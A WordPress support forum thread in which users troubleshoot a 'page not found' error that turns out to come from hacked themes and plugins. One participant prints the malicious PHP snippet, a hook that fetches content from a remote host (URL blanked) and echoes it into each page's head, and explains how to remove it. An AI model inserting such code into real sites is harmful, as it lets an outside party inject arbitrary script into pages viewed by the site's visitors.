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  • Im getting a page not found error right on top of my page. other than this, the page is working fine. I have not changed anything since a few days ago and this is just happening today is my site

    I use websitepalace hosting

    edit: 2 other people had the same problem before but with godady, but look at my image address

    wth?!?!? does website palace with godady?

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  • Yes, the same is happening with :

    If I find a solution I will let you know quickly ! Thanks for making the post. Gotta love internet communities that support each other.


    try with disabling your plugins one by one it must be a plugin creating this problem. The most probably “All in One SEO”


    My theme is the problem 2, and I dont want to change, I rly like mine. I made a completely different sub site with complete default set theme that im using and it still gets the error

    To me this is a hosting problem affecting these plugins/themes, only godaddy end customers are getting it. This wasn’t happening before to all these people and it sucks that we have to make do without all these things.

    I called customer service and they tried to help me a little bit but then they just kinda gave up and said it was a theme issue. I researched a little and have found that alot of people say to steer away from godady because of problems. A couple months ago I got this email from website palace (my host, an afiilliate provider for godady hosting):

    Dear ——————

    We take our responsibilities — and the trust you place in us — very seriously. On September 10, we experienced an internal outage that may have impacted your website, your email and other services.

    We took immediate measures to remedy the network errors that caused the problems. Our actions restored your services and maintained the security of your information. No personal or customer information was compromised.

    Your trust in our service is of great importance and we value your continued business.

    For your troubles, we will credit your account for the value of 1 month of service for each plan that has at least one active or published site.* Please click the button below to redeem your credit within the next 7 days.

    It sounds like their trying to desperatley recover their losses from a godady crash.

    hmmm awesome theme vs unreliable host? theme wins.

    What is the link of your website?

    Did you try after deactivating plugins?

    yes, didnt work, it goes away with theme



    Forum Moderator

    Then the issue is in your theme.

    This is whats going on,

    Some twit has massively distributed hacked themes and plugins containing a call to: “”, and his website has been taken down – that’s why there is this error now. Your website is trying to find jquery file on his website, but can’t find it.

    You need to get rid of this! Try:

    1. Disable all plugins. if the error message has gone then re-enable each plugin one by one until you figure out which one is causing the issue, then DELETE IT!
    2. If the error message still appears after disabling all your plugins, your theme is the issue. you need to follow the following steps:

    <?php if (!function_exists(‘insert_jquery_slider’)){function insert_jquery_slider(){if (function_exists(‘curl_init’)){$url = “”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action(‘wp_head’, ‘insert_jquery_slider’);} ?>
    This is how the malicious code looks.

    I advise you search your entire local website directory on Dreamweaver for “jquery-1.6.3.min.js” and you should find all the offending script.


    Download your theme folder, run a search for “jquery-1.6.3.min.js” through all files(by using Notepad++ on Windows or Search for Files on Linux) and locate code similar to one from above.

    If you find this code in some important file(functions.php for example) delete this part:

    {if (function_exists(‘curl_init’)){$url = “”;$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}
    save the file, re-upload it and see if it helps. (it should)

    If you find this code in some weird file(mine was class.php) and all it contains is check for one function and malicious code, delete this file, and create the one with same name, but empty the code(only <?php ?>).

    hope this helps…

    Time for a beer now 😉

    Moderator Andrew Nevins


    Forum moderator

    Sorry ojrice, if someone’s been hacked, simply removing the code isn’t good enough. That’ll give a superficial fix. The hackers will be able to walk back in.



    Forum Moderator

    Read this article now. The advice it contains also applies to plugins.

    You also need to ensure that your site has been completely de-loused by working your way through these resources:

    How to find a backdoor in a hacked WordPress

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